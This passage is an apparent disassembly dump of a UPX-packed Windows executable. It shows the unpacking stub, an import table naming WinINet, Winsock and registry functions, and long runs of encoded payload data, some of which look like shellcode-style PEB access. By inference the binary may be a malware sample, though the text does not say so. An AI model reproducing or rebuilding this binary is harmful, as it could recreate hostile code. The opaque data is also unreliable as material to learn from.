ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150846B: ; CODE XREF: UPX1:31508462j adc ecx, ecx add ebx, ebx jnz short loc_31508478 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508478: ; CODE XREF: UPX1:3150846Fj adc ecx, ecx jnz short loc_3150849C inc ecx loc_3150847D: ; CODE XREF: UPX1:3150848Cj ; UPX1:31508497j add ebx, ebx jnz short loc_31508488 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508488: ; CODE XREF: UPX1:3150847Fj adc ecx, ecx add ebx, ebx jnb short loc_3150847D jnz short loc_31508499 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3150847D loc_31508499: ; CODE XREF: UPX1:3150848Ej add ecx, 2 loc_3150849C: ; CODE XREF: UPX1:3150847Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_315084BC loc_315084AD: ; CODE XREF: UPX1:315084B4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_315084AD jmp loc_3150841E ; --------------------------------------------------------------------------- align 4 loc_315084BC: ; CODE XREF: UPX1:315084ABj ; UPX1:315084C9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_315084BC add edi, ecx jmp loc_3150841E ; --------------------------------------------------------------------------- loc_315084D2: ; CODE XREF: UPX1:3150845Cj pop esi mov edi, esi mov ecx, 0CAh loc_315084DA: ; CODE XREF: UPX1:315084E1j ; UPX1:315084E6j mov al, [edi] inc edi sub al, 0E8h loc_315084DF: ; CODE XREF: UPX1:31508504j cmp al, 1 ja short loc_315084DA cmp byte ptr [edi], 1 jnz short loc_315084DA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_315084DF lea edi, [esi+6000h] loc_3150850C: ; CODE XREF: UPX1:3150852Ej mov eax, [edi] or eax, eax jz short loc_31508557 mov ebx, [edi+4] lea eax, [eax+esi+8000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+808Ch] xchg eax, ebp loc_31508529: ; CODE XREF: UPX1:3150854Fj mov al, [edi] inc edi or al, al jz short loc_3150850C mov ecx, edi jns short near ptr loc_3150853A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3150853A: ; CODE XREF: UPX1:31508532j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8090h] or eax, eax jz short loc_31508551 mov [ebx], eax add ebx, 4 jmp short loc_31508529 ; --------------------------------------------------------------------------- loc_31508551: ; CODE XREF: UPX1:31508548j call dword ptr [esi+8094h] loc_31508557: ; CODE XREF: UPX1:31508510j popa jmp loc_31501D18 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 00015000 ( 86016.) ; Section size in file : 00015000 ( 86016.) ; Offset to raw data for section: 00009000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31509000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C4D444h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h dd 6Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h dd 402377h, 8D3B41AAh, 402373h, 2BC3EF7Ch, 30FF64C0h, 0B8208964h dd 12345678h, 60000387h, 84000000h, 0 dd 26003150h, 500000h, 760h dup(0) dword_3150B000 dd 13E8h, 0F28ADE00h, 18E9B9h, 2103000h, 0F9E240D6h, 0C3310FC3h ; DATA XREF: starto dd 246C8B55h, 246C8104h, 1E0504h, 0FFEBE800h, 0C88BFFFFh dd 0FFFFE4E8h, 3DC12BFFh, 100h, 5C8B4573h, 0E3810824h dd 0FFFFF000h, 1005ED81h, 0B8B0040h, 8166E932h, 74174DF9h dd 9B8D08h, 0EBFFFFF0h, 3C438BEDh, 7818548Bh, 8B1A148Dh dd 728B184Ah, 348D5120h, 7C81AD33h, 41630603h, 5746464h dd 5D59F3E2h, 240C29C3h, 8B24728Bh, 858D1C7Ah, 40109Bh dd 0FF6A908Ah, 6BE8FFFFh, 87FFFFFFh, 0E17769BFh, 35F35C30h dd 0AEEFBE27h, 0BEE00229h, 7A2C1FDBh, 0EBA48175h, 542718FEh dd 0CD33E104h, 93B18C83h, 8EF0FB78h, 6284784h, 1BD281E4h dd 0B37D4E3Dh, 1AFED7A2h, 195B2A0Dh, 0D6052B12h, 3EF85A15h dd 4E7092B8h, 0B587666Fh, 5001CAC1h, 0B6BD9678h, 0A7868DC7h dd 0E6E16E89h, 1A438A84h, 563DDAFCh, 0F149D67Bh, 79F83513h dd 0BE09CEF1h, 79583FDCh, 0EE13F3D1h, 4E2D29CCh, 0DE006251h dd 43543F3Fh, 4DF01274h, 67DBA09h, 78B70224h, 764A3619h dd 1B59F314h, 2608431Ch, 8BA35789h, 0DF0B5A3Ch, 0A7106F79h dd 25994A2Ch, 7EA3250Ch, 4B98655Ch, 6ED0A635h, 8C125F4Dh dd 8A155DC4h, 0D9F85A15h, 0B062D203h, 86FCEBA1h, 0DCE50BA4h dd 5DD8BA08h, 0CCF5F193h, 0A6C8AA18h, 37A4F77Bh, 7E79DABCh dd 0DAB45D6Bh, 0DA8CAECh, 0BE4A5623h, 76F079DFh, 67183244h dd 26A13249h, 80024A44h, 56129ABCh, 0E4D487CBh, 86ED8AECh dd 0BDC8862Bh, 0BBCF7A9Ch, 0EEC0F2A1h, 9FA7E18Ch, 9EC0E585h dd 638B7FDh, 1B3DD2B4h, 6685BA0h, 9C5F6717h, 7D38D6DFh dd 5D98D828h, 7385738Ch, 5EC0B8EFh, 2A73B1CFh, 0B060C53Dh dd 0AEBF166Bh, 3E6182A7h, 9F406FE3h, 0EAD372D4h, 0A9086F2Ch dd 1E42BB00h, 96D24DFCh, 0E58531Eh, 0EE28CAE8h, 0FE214264h dd 5F002F23h, 2E953214h, 64342EC3h, 0DE6A2244h, 5678F2ECh dd 0CE9A1230h, 1164626Dh, 0D6B0034Eh, 36597A9Dh, 874867EBh dd 2C206ACCh, 61C0E304h, 5611C2E9h, 8EB53AF4h, 8DC14A6Ch dd 14A0C2E6h, 0FCFB635Ch, 0FB6FB8BEh, 0E6480050h, 0DD43532Fh dd 96D1A681h, 0CA7F92B4h, 0C6E80842h, 3E60844Ch, 0F28CB41Ch dd 0D1503ED8h, 0E6E13E99h, 44F5EF84h, 0A5B89AEBh, 228DDFBDh dd 37A88AC6h, 5BC8D168h, 0F598BADEh, 0AE3A6AE9h, 0E287AACCh dd 0DE00207Eh, 7C481F37h, 0BE0F1274h, 0B1ED05ADh, 3FE0420Ch dd 76708D21h, 0AE2F0D14h, 3DCF658Ch, 15C0E206h, 56126EF9h dd 8FC02DF4h, 2F6CCFE3h, 0C321C2A4h, 0F6581318h, 6E904D2Bh dd 0E7F4AD43h, 0D30BA2C4h, 0D6B83004h, 3F8F8B57h, 976D852Dh dd 0BF60C28Dh, 0F6F1ABA1h, 2EAF8D94h, 7D4FE50Ch, 0F6406285h dd 96B8DB1Ah, 249EEFF9h, 4923CAACh, 27D6420Eh, 0F59CCA23h dd 0AE7A31B5h, 0CDF53CFh, 53184844h, 166DDD09h, 0CEECAB34h dd 42E58AACh, 411FFC69h, 0BBF31C63h, 0AED0BF10h, 8D2E6A8Ch dd 35C4A589h, 7094BE4Eh, 54B305Fh, 6E2820B8h, 7EA09CE6h dd 0F672F6D7h, 6EFA765Fh, 0E6082A24h, 0FC0C8CCh, 86F6706Eh dd 644C074Bh, 45B00A6Ch, 3C08C260h, 3DD8FA42h, 0A5501840h dd 0CCCC80C0h, 4C420884h, 94D0DA96h, 6430522Ah, 79C29BECh dd 0BEB5BD34h, 2998FAF6h, 0E1EFB70Dh, 66899748h, 0DEB5AF44h dd 0EF78DAACh, 0CEF015B5h, 0E39B6527h, 0AEE0EFA5h, 0B3D57ADCh dd 0AE90E1A2h, 0B3C58A73h, 9E80FAE7h, 0E2ADA52Eh, 66B092DDh dd 6284A7Ah, 15CFADA8h, 84484A29h, 2F9C4BDh, 0B06D4D29h dd 3BF5CEA5h, 29A81A7Dh, 0E590221h, 526D832Ch, 6E60C28Dh dd 0DCF89048h, 6AC58D6Bh, 23C8AA26h, 21353D44h, 0C0BAB06Ah dd 64E4D922h, 974098EDh, 0AD204264h, 14FDFEB9h, 9C405521h dd 0AE1DCA5h, 0DE654521h, 0C2ED65EAh, 45F0521Dh, 103EDC68h dd 41B75474h, 76725609h, 0BE147114h, 0A2DD95DBh, 0F4C0A22Dh dd 0E93A307Ch, 0CE996E61h, 700F36Ch, 5537C2E4h, 0D214B3BDh dd 0FB6FE580h, 0E6480048h, 0FB0354F7h, 0D6B830A0h, 0B127C6B4h dd 86C202B9h, 4AA007A4h, 485BBC40h, 0D1BE0090h, 0CCC0CE78h dd 0E16A0884h, 0D692DA69h, 7AF0D774h, 50405930h, 0CD204260h dd 467B2B15h, 0C48CB76Dh, 4EFDAA8Ch, 0CE5CE3C5h, 2289ABCh dd 9EA14464h, 0D397D9FCh, 0BEA02B90h, 4201BA19h, 8AA40D1Bh dd 0BACDE584h, 76C0A22Eh, 0E9C7A7F7h, 0A252DA7h, 0ED280A45h dd 5664437Ch, 0A1183A5Dh, 4714272Bh, 73F72A0Ch, 5EC08B40h dd 290384D5h, 4E70924Bh, 0F5B20A2Ch, 6F31D36Dh, 0B6D9924Dh dd 0EADB7290h, 0AAA2BA5Dh, 0DD12A60Fh, 0C2CEBFAAh, 0F1D0BA74h dd 13253513h, 0FE605698h, 26C9EB8Eh, 0C798A7ABh, 0A20BAA8Ch dd 218BE164h, 5620C2E4h, 0CEF00C36h, 46689AB2h, 0BEE00225h dd 36587A9Ch, 0AED0F214h, 0D91B3CDDh, 0DEE97291h, 0BA61F17Ch dd 75C51270h, 5AEBA48Eh, 1BD3A3A6h, 93755B12h, 4F2FDB0h dd 957C4929h, 3DE5F198h, 0A4914C48h, 2270E7C0h, 0A59A7E5Fh dd 5260F6C5h, 0DAAA8E6Fh, 6D501CF1h, 0D2A98F7Eh, 722924E1h dd 0D5B89B99h, 7A513706h, 0EAC18C89h, 8E410F01h, 11F6D3ACh dd 9C533215h, 3FCCBA9h, 0BD6F5014h, 170BE9D9h, 0AB825134h dd 140DFECDh, 0CA8F6F41h, 44302EF9h, 0AEB49371h, 472D18CFh dd 0F6948770h, 72593F0Eh, 0EBC291F4h, 524D3E0Dh, 16CCAD8Bh dd 0C5685639h, 0FFEE1E6h, 8960593Ch, 26C5A2B0h, 0BEAC6E55h dd 2A11F7C6h, 0B28D4D2Ch, 5B0CEBE2h, 0C4AC8E5Dh, 5A2510FDh dd 0A6899969h, 583407C3h, 0C5DDB695h, 0E55281Dh, 0C0DCAFABh dd 0AA452E0Dh, 76FDD7B5h, 0A3645713h, 0AFDCEA3h, 0B2696421h dd 3B19D4D9h, 89F05351h, 2925FEC9h, 0DB8C7740h, 52361BD4h dd 0AE919778h, 753C0FCBh, 0FBB4917Dh, 64511E11h, 0E1C4B191h dd 669331Eh, 2AD4A7A3h, 0B0685739h, 20F5DEBDh, 0A76D472Dh dd 2AE5E5C4h, 0A6957F68h, 2604F3E4h, 0A3AF0A6Dh, 4C05D4D0h dd 0D8B7936Fh, 5A353594h, 0D5BA8F5Ah, 5B2E0DEDh, 0D1B89B84h dd 61662611h, 0E3C5BF80h, 91462C2Dh, 2F9D7AEh, 0AF7E5D3Dh dd 9E4EDCCh, 9F6C4326h, 3517F6D0h, 0AF9F5E34h, 2401C6C8h dd 0C7926356h, 57157ADDh, 0CBB9A464h, 602E25FBh, 9EA58E6Dh dd 785D2A33h, 0EBDCBBB2h, 76582B21h, 3FC7AC8Dh, 9368755Ch dd 1E2E2BAh, 957B4F2Fh, 31F2F2C4h, 0A58B7F5Fh, 2736A087h dd 0C69C795Eh, 5D0FF0F4h, 85AB8979h, 56353CA6h, 0C39AEA78h dd 770606E5h, 0C5B8BF90h, 67762611h, 0F2E9AF80h, 9C493010h dd 5FDCEA9h, 8B433215h, 0AE1ECB8h, 0B76F7221h, 241DEED2h dd 0BA954134h, 2304E3EAh, 0DB8D6B70h, 5334299Ch, 0FBD08271h dd 562907E2h, 0E9A58B52h, 7F7E3C33h, 0D8B0B798h, 735C3805h dd 12E1AE85h, 0F67B5530h, 1AF9C083h, 8A616C29h, 2ACEA2A1h dd 0A3927E7Dh, 3C20E6C7h, 0AA817C45h, 4D05E5C1h, 0D3B39548h dd 5A1E72FAh, 0C7AD984Fh, 770607F0h, 0D8B8BF90h, 6B421100h dd 0D6CDBE8Dh, 9B432D16h, 3898C9AFh, 8B627120h, 36EDDEADh dd 0BB634D36h, 2E3DE9CFh, 8D845C34h, 3209EFDEh, 0DD855141h dd 583713E8h, 0E3A4BC14h, 4F1E1AEDh, 0F88F9561h, 625B3F2Fh dd 8EDEBD9Dh, 76673E22h, 0CF0AC81h, 857D5933h, 5FFE6A7h dd 0A8084429h, 3BF0EDB0h, 0B59D4952h, 201FFBC0h, 969C442Ch dd 5B14EDD6h, 0DF8E8E7Fh, 4F2506E6h, 0CBADA760h, 1E3910EBh dd 0E3E9AEB2h dd 5D492011h, 0E3DCB995h, 984E0B09h, 17F5C8B3h, 807F5B20h dd 31FCE4CCh, 0BB744B36h, 220AF3EAh, 839C7341h, 3407E7C9h dd 0CAB2025Dh, 5F362FF0h, 0CBB49D77h, 4F3A1EDFh, 0F194856Ah dd 7F4B343Dh, 0E7C2A6A7h, 51282D02h, 0AF383B7h, 836C483Dh dd 2F3B2A4h, 956D5923h, 3BEBC1ABh, 0B99B1A48h, 2D15FCDAh dd 0A38F0A58h, 4D0FEAD0h, 0D8A19868h, 2E351FF5h, 0D0AB8F7Eh dd 70251184h, 0F9CBDA98h, 7A553917h, 0F2C683ECh, 9B4E3001h dd 19F4F9A8h, 8F585727h, 3E4CEA2h, 0AA6E6B44h, 3316E8D9h dd 0BA955540h, 2806E5EFh, 0DB946141h, 572C29F8h, 0E7D09760h dd 542D1EE2h, 0D1B4876Ah, 57563F0Ch, 0FADE9BF4h, 63463809h dd 1BD08D90h, 9A6A6F32h, 0D9B295h, 887A4F38h, 3BD2D6A1h dd 0BFBE7E5Dh, 0F70F7D8h, 96A95C68h, 1052B1EDh, 0B694B658h dd 6D3717C6h, 0C3BB8560h, 1E3907CFh, 0D9DFBFAEh, 455E3704h dd 0FEEDB389h, 9B724225h, 13EDEBBBh, 8F464B26h, 23EDDFA0h dd 8C00633Ch, 332BFDD9h, 0A2914440h, 3E2DEFD9h, 57630265h dd 67905199h, 0AED0F27Ch, 204E764h, 0F4C08807h, 45680B79h dd 423BD79Eh, 56FCC13Ch, 2FE0A8B0h, 63E7690Eh, 6ED09898h dd 1904EECFh, 1EAAF651h, 0DE3C993Ch, 0CBFDC577h, 0C6A81F75h dd 54307D97h, 49D6901Ch, 6E798E01h, 0D2086F0Ch, 1C2832FBh dd 1DB8DAA2h, 853038A0h, 0EEE8A020h, 0FE304264h, 1CCAB8B6h dd 0B0125A54h, 66E2AACCh, 21507115h, 1652DA29h, 31A94D34h dd 6410E39h, 0CA1F8724h, 6D5F1D7h, 4DD0B201h, 26DDE780h dd 9DC0A214h, 0E96B0DADh, 0BE355926h, 8B280A46h, 7EB8346Bh dd 940D25Ch, 0EB1B4D2Bh, 0E6480078h, 47C32D49h, 91101A3Ch dd 0C58F6D4Bh, 86C232A9h, 4AA007A4h, 0E6577717h, 0C650728Dh dd 5937153Eh, 0DD1FA50Fh, 96B832A9h, 8F6D5274h, 0C6B2C801h dd 73E97164h, 36B8E659h, 0BF446354h, 37D9FA9Dh, 0F7B8B7BBh dd 52FF9AFCh, 4A65ED10h, 1B68CA85h, 0EBE006E6h, 36587A74h dd 4351AF14h, 260870BDh, 0B4D1D6Eh, 16784380h, 0AE7D80A4h dd 6024A48h, 18AC0667h, 0EC5ABF9Bh, 4E5DB294h, 0FC4CAF8Bh dd 5EA4A284h, 15A51A16h, 4F1A93DEh, 0B51739D3h, 0BB757DA0h dd 0DE288EDCh, 2E50729Fh, 0A5933A87h, 0ABCD5ED4h, 96F8C09Ch dd 0F3CE8FFh, 0C23CAECh, 0FE20436Ch, 0BDB342DFh, 1DDBB934h dd 63FCCB6Ah, 35F5C003h, 59BF197Eh, 9D249963h, 12384627h dd 0ECB1424Eh, 0A3A785F6h, 0AE90D858h, 0AD44AE0Fh, 0DEE92291h dd 95EF717Ch, 8977D51Eh, 6C04A06h, 0BDA3956Dh, 0DCBEAF35h dd 0EA95B294h, 263B2244h, 0D79A1286h, 96D2BCA9h, 0C39265B4h dd 38426B6Eh, 0FD81F76Dh, 0B6D81249h, 0AF0D7294h, 0E6D218E1h dd 0B4DDE984h, 15B89AD6h, 0E387608h, 86114EE3h, 12A14264h dd 7698B8D4h, 0EF145A00h, 0F377AACCh, 0DE400BA4h, 0D2F56637h dd 0CEF11610h, 4602DAACh, 0BEE006CCh, 620A2C9Ch, 3B2FA514h dd 26084350h, 94D2B37h, 16385B78h, 8CDA83A5h, 6E29203Dh dd 3EA0C2E4h, 5E8DC50Eh, 0F890F2FDh, 0BD7CDCC9h, 5AE8F694h dd 81F81A3Dh, 6E54264Bh, 39E80A2Eh, 7E4A0A31h, 765DA31Ch dd 3AB364E0h, 0CC1C615Ch, 49113084h, 0BE2D25AAh, 5730125Eh dd 56DD0A69h, 7AB5BD32h, 0FB98FAF5h, 0B9427603h, 0EBD0EEA6h dd 0DE0126D3h, 964B31BCh, 3DA9025Eh, 1638DA07h, 0EEB05274h dd 86CD85CEh, 2FD0B23Dh, 264A6248h, 0BAB41D04h, 6EADA574h dd 0DDB092DEh, 2C50DF93h, 0BCFDC2A4h, 0C8983A58h, 2891C7DEh dd 0F324A7C7h, 4763A284h, 0C6F88FB1h, 9F7392F4h, 423AF57Ah dd 0C1E88D64h, 0B9D8FA1Ch, 2E508210h, 9CF66A0Ch, 9E0672F1h dd 12B7DAC2h, 0E305295h, 0F388F46Ch, 0C0A10495h, 31D6F38Ch dd 219B1021h, 2989EC0Ah, 0B451EC6Fh, 52ECBBCh, 0E48087CBh dd 7D318AECh, 1650DE5h, 0DF587A9Ch, 0AED0F2A5h, 7418540Dh dd 1BCFB44Dh, 16385AD9h, 22B81477h, 82274750h, 7EA0C27Dh dd 56D1A60h, 61AA8E78h, 0E608A6C9h, 7E8D0FC4h, 0EBD83A1Ch dd 3A15F595h, 0FA447559h, 0BF1CF784h, 0DEF80562h, 5F2506E0h dd 0D6CB948Dh, 6B6F4DBEh, 69FF1C94h, 0B4015D74h, 86A8EDFCh dd 172A093h, 36B2A649h, 0BED00154h, 8ED8FA9Ch, 0DE00224Dh dd 380FF5F8h, 0AA917D58h, 0C6FD75ACh, 3BE0420Eh, 56E0E5Ch dd 4557BDDh, 77482AA6h, 9EC3E26Ch, 40690BF8h, 0A252DA4h dd 8B280A46h, 3EBA2E71h, 3F2B6A5Ch, 3CC0E380h, 73F77B1Dh dd 5EC08B7Ch, 29DC1EBBh, 0E591621h, 462BF22Ch, 7E759D29h dd 7521FB1Ch, 2A742E1Fh, 0A6C8EAE4h, 0F3C13F84h, 96F8C605h dd 23C2EFFFh, 3323CAACh, 0FE606F9Eh, 0FB1341DFh, 0EE501FA2h dd 0E3030F3Fh, 0DE400FB6h, 7B960F37h, 4BF31274h, 4628A74Ah dd 368800ADh, 0C9587A8Fh, 0EEFAEE81h, 7A81818Ch, 0F7B68740h dd 46643F1Fh, 0E7C3AB9Ch, 4B442B0Fh, 0CCFAF81h, 242B3A25h dd 98C27D5Fh, 78B7895h, 5DC0C8C7h, 0BCAA4DC5h, 79C51FACh dd 7FE84A31h, 3E6082B3h, 4895FE91h, 48AF8D6Bh, 0EBCC67A7h dd 1E406284h, 0D135719Ah, 0EA02F970h, 6403AC40h, 1CB5CF9Fh dd 2298FAF1h, 1142343Eh, 26A2E259h, 0FA74A944h, 4EBC19B4h dd 4BFFD2B1h, 46688B09h, 9E88024Eh, 60587A9Dh, 3B2FF97Eh dd 260840DCh, 15CCBC8Fh, 8BB14A32h, 8EF0FF12h, 2BC2C7E5h dd 9D21C2A4h, 0F9E7CA5Ch, 6EFAE185h, 53F72C26h, 5EC08F26h dd 0FF008FC3h, 0B12092F4h, 86C5E899h, 0BAF57DA4h, 0EED8BA35h dd 21C3B211h, 0A6C9BE88h, 25C10484h, 9ACC80B1h, 2EA5AD27h dd 6FA88AC6h, 0FE204325h, 76500451h, 591F3254h, 1205B482h dd 0DA683D75h, 1789ABDh, 0E72887CBh, 113E8AECh, 974097DBh dd 75D37ADCh, 2513F128h, 0F54B12DCh, 15E0908Fh, 22B54236h dd 8D1D83C7h, 750CBAFh, 0CC59181h, 4FA3F28h, 473D598Dh dd 94830E40h, 0AD83FBE0h, 0D9E448B7h, 4D3E9603h, 44DC81FFh dd 70EB71A7h, 586D7314h, 0A55032B9h, 407DD13Ah, 6C4022A9h dd 700DF17Fh, 35301259h, 0C6852059h, 8FA34D64h, 45674523h dd 1CA5BB94h, 0EF88EAE1h, 9E2DD4C9h, 3C28CABCh, 0CF9A4237h dd 46688AC4h, 3B1F55A4h, 36186FB4h, 877867EBh, 0ABB76ACCh dd 9E80F72Ch, 19C7A2FFh, 714FE970h, 0E4ADC393h, 14A082C9h dd 0A018505Ch, 7A054D84h, 6D086A66h, 1EAD5441h, 0D418DB3Ch dd 4E1AC2E4h, 0EF189FD3h, 0BBE982E4h, 0B698D7E6h, 2E3AA61Fh dd 0F6FA155Eh, 33A2D77Bh, 347DABCh, 0E707878h, 0AB4A4F67h dd 0FAA94224h, 0F20D45F8h, 6510727Dh, 0D303969Fh, 0DE400FBEh dd 6262CE37h, 5BDBECBFh, 4628A74Ah, 93168FAFh, 1DF57ADCh dd 543259D6h, 3AB8EF01h, 0CF91E244h, 47690A2Fh, 0A708470Bh dd 0F9784A2Ch, 3E894671h, 853DF95Ch, 0BAA98EEh, 8A6A4B22h dd 1EBAC6A1h, 0BA9D724Fh, 6042A1D8h, 0EA846648h, 6D60B389h dd 0F38CA945h, 5B132ED9h, 0C8AD987Eh, 702F21F0h, 0FAD7A888h dd 52443727h, 0F0DAAFBFh, 8D45210Dh, 17F0E980h, 0AF745726h dd 15EDC9AFh, 0BF507E37h, 3315FBCEh, 0BD827740h, 3401CCF0h dd 0D2817541h, 5A372AF0h, 0F2A9917Dh, 48291EDFh, 0FAB28360h dd 7057282Ch, 0D2D5BE9Dh, 6E5C3F2Dh, 4C9B08Bh, 86595E39h dd 0DF9DEA4h, 89615E2Dh, 12DCD1AAh, 0D68C6955h, 1A36DDE7h dd 83BA4B7Bh, 5D09CFF8h, 0D9AB956Eh, 790C06F2h, 0C9AC8465h dd 5D1C11F3h, 0F3CAA889h dd 6B66261Ah, 0E9C1B99Eh, 86651E0Ah, 4F7D6ACh, 0BA104031h dd 3EFD8ADh, 0AD6F6A30h, 567A9AC8h, 0CEF04234h, 34188AACh dd 0D3897A4Bh, 5D2C14B2h, 0DEBC9C66h, 482144EDh, 0D0C08D62h dd 36731935h, 0EBDCA884h, 6A523806h, 3BF397EEh, 0BC6B1A0Eh dd 4EDEFB9Bh, 94615C6Ah, 54B3D7B0h, 0D6F8F269h, 0CF2D92B4h dd 86C868C1h, 21E544A4h, 0B6D8BA09h, 7B4E76Bh, 4E09EA4Ch dd 747C169Bh, 0E0D51E2h, 5730125Dh, 0F386F640h, 0C0A1244Eh dd 55EDA723h, 0C4B08FD9h, 1003AA8Ch, 0B8A57546h, 9AFD1719h dd 41F0521Ch, 6407829h, 0F869F824h, 0C816F666h, 4CD143EFh dd 0AB148143h, 0DED5BB81h, 16520A7Ch, 1B4FDC9Eh, 6686390h dd 7684BE67h, 1E5C4F58h, 6E90B2DCh, 0C84B6C1Fh, 5ECCEE80h dd 0FF2C8FC3h, 8E7B92F4h, 0AC7B1858h, 0AB9FD1A6h, 0B698D38Ch dd 0C6C3A26Bh, 5937137Fh, 1E40696Ch, 0D5FE89FCh, 20631D2Bh dd 86E486A8h, 0D7F4D79Bh, 2E70BA9Ch, 6EFCDADh, 6688AAC7h dd 8C457111h, 1256A88Fh, 31F05E78h, 6417E39h, 0BEEAEA24h dd 452F7A9Ch, 0C0B98064h, 26090CF8h, 0E551D54h, 9F381A55h dd 0CE994E71h, 8B19456Ch, 3EB82169h, 509DB35Ch, 3F90F2FEh dd 0CFFCBFB3h, 3613A284h, 0D6F81A38h, 56802739h, 4BB10A6Ch dd 7E4A0E19h, 451A121Ch, 0E9368D6Bh, 0E6E8CA89h, 9D106284h dd 0D698F859h, 9BBD5274h, 86E8D50Ch, 0FF4A1634h, 1ECABAB6h dd 6E103256h, 4C183F33h, 1E852204h, 0DB5AEFE6h, 8ED001B9h dd 4002D8ACh, 9EC0B7A9h, 600C7ADCh, 0FC81A244h, 0CDCFF73h dd 6198E244h, 5612D6E9h, 233514F4h, 6280A40h, 8153F60Ch dd 0BA95C5A3h, 0A990F2C6h, 0A61CD6C9h, 1D4F4C4h, 25E7F20Fh dd 0CBB76D4Bh, 0C6A81ED0h, 0A3FD6F2h, 492BEAF4h, 0D2D5B56Bh dd 0F0C8AA18h, 0F6743DFCh, 694729FDh, 1ACCD7B3h, 0E3FECAACh dd 37131612h, 5B663F51h, 0BF413214h, 37D8FB9Dh, 4BFF7315h dd 5638B350h, 0E71487CBh, 0AEA98AECh, 5694773Bh, 36587A90h dd 0F99CBA47h, 8013ACDh, 9E8CAE40h, 3FCCCF83h, 8258D2B4h dd 55284A6Ch, 0AC591ACh, 83745B0Ah, 3E90F3B1h, 0CF98BFB3h dd 0D313A284h, 96D2B489h, 4EB8FAB4h, 0ACBE0A2Ch, 0EEF57DA4h dd 3BD8BA35h, 6E4F3C01h, 0D075670Ch, 484022AFh, 3478DAEh dd 0E707BE8h, 0BA40E6Fh, 0BE3F29F1h, 1CCFEADCh, 86426455h dd 0E688AACEh, 71E8F1BBh, 0D5876546h, 8EE4F089h, 4D1C8AACh dd 0BEF38A4Ch, 2ACD859Ch, 46D0B23Eh, 26486A80h, 0DD8FB153h dd 380A6937h, 8EFC9EB0h, 2FDCDF93h, 1633C2A4h, 0F6183A5Bh dd 76D70759h, 6B512A0Ch, 1EAAFE79h, 24AAF23Ch, 42986D4Bh dd 91E80A2Ch, 7029CCEDh, 0F2F6AE59h, 0D1503ED8h, 0E6E11E99h dd 1180E784h, 96BAEF78h, 0B58C174h, 0BA8CAECh, 0BE38C7D1h dd 0CB15E3DCh, 0EE50182Ch, 997AB124h, 0A2BDA1BBh, 5678DA96h dd 0CCE0963Bh, 0AAE98AACh, 0BEE003B4h, 375912C8h, 3B2FF214h dd 260840D0h, 9F502685h, 9D685A7Ch, 0DCB0B820h, 2C54DF93h dd 0BE25C2A4h, 9E154F05h, 6E90A15Ch, 0CC14BFB3h, 0BC6BA284h dd 0F6DAA7BFh, 3B7092F4h, 0E06D8705h, 6E60C284h, 9CB06FE3h dd 0EED572D4h, 0A7416E03h, 5ECB6284h, 69B851F0h, 2CB5DD44h dd 40A88ACCh, 0BE0CEFE1h, 76F2BBDCh, 0EC7A333Eh, 4CFC3F33h dd 26832204h, 36FC9543h, 5DF01235h, 66761F21h, 0AE8A0264h dd 0A3A729CEh, 0AE90D870h, 0A347AA09h, 9EC0E344h, 3678E7F1h dd 8601D2B4h, 0F9DF4984h, 7E34AA1Bh, 0DD463A5Ch, 4AA43B32h dd 0E9DD518h, 0D380E2EDh, 96D85481h, 0A67123B4h, 3917FCC8h dd 1E5B1729h, 0B6B2FA5Ch, 2E5066FCh, 599BB80Ch, 5E6A1211h dd 0B2FC57FCh, 0F0A5DF60h, 0D6A88AC1h, 752AF46Bh, 0B78C9E98h dd 0A4123AB4h, 64C2B8CDh, 0D5036856h, 0D670BEF8h, 2E311DD5h dd 263DBA4h, 8C1F1200h, 98E5F7CCh, 46D0B23Eh, 26486A90h dd 0E6F6CC21h, 3818745Ch, 0AB95E8D4h, 7E106449h, 5B80BAC1h dd 0B952302Fh, 6EB0FC9Dh, 7A9DD51Bh, 0DF80E2EDh, 0D6F8B6F8h dd 1E70F8B4h, 5317597Bh, 3E20A8D4h, 0A23A7797h, 2E3A72D4h dd 6FA3F1EFh, 1BA83389h, 0B0B8DAFCh, 0E3A3651h, 